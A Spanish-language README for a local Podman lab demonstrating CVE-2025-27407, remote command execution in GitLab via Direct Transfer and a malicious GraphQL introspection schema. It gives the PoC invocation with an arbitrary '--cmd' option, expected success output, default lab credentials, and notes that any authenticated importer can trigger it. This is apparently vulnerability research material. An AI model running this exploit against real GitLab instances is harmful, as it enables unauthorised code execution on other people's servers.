CVE-2025-27407 GitLab Podman Lab

Laboratorio mínimo solo local para demostrar que la ruta HTTP de Direct Transfer de GitLab alcanza el cargador de esquemas de introspección vulnerable de graphql-ruby. El laboratorio ejecuta un contenedor GitLab CE vulnerable; el script del PoC inicia su servidor fuente falso de GitLab en el mismo proceso solo durante las pruebas.

Ejecútalo únicamente contra sistemas que poseas o que estés autorizado explícitamente a probar.

Archivos

Requisitos

• Host Linux con podman
• curl
• Puertos locales libres para GitLab y el servidor fuente falso del PoC
• Suficiente RAM/disco para el contenedor Omnibus de GitLab

Valores predeterminados:

Iniciar el laboratorio

El puerto 8080 es el predeterminado del script. Si algo más ya lo usa, utiliza 18080 como se muestra aquí.

cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py

GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up

Abre GitLab en:

http://127.0.0.1:18080

Credenciales de acceso:

root / Cve27407Password!

root es solo el usuario predeterminado del laboratorio. El disparador del PoC no requiere una cuenta de administrador; cualquier usuario autenticado que pueda crear/importar en un espacio de nombres de destino puede alcanzar la ruta vulnerable de Direct Transfer. Usa --username y --password para probar con un usuario no administrador.

Ejecutar el PoC

MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"

./poc_host_port_cmd.py \
  --host 127.0.0.1 \
  --port 18080 \
  --listen-port 8001 \
  --wait-seconds 120 \
  --cmd "touch $MARKER"

MARKER="$MARKER" ./lab.sh verify

Señales esperadas:

[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container

Opciones

Anulación de variables de entorno

Solución de problemas

• Si 8080 está ocupado, usa GITLAB_HTTP_PORT=18080 para ./lab.sh up.
• Si el PoC no puede vincular su puerto de origen, cambia --listen-port a un puerto no utilizado.
• Si la verificación del marcador entra en condición de carrera con el trabajador de importación en segundo plano, aumenta --wait-seconds o vuelve a ejecutar MARKER="$MARKER" ./lab.sh verify.
• Si GitLab aún no está listo, vuelve a ejecutar GITLAB_HTTP_PORT=18080 ./lab.sh wait.
• Si un laboratorio anterior se quedó bloqueado, ejecuta ./lab.sh cleanup y comienza de nuevo.

Limpieza

./lab.sh cleanup

Esto elimina el contenedor de GitLab, cualquier contenedor heredado de fuente falsa de versiones anteriores del laboratorio y la red del laboratorio. No elimina las imágenes de Podman descargadas.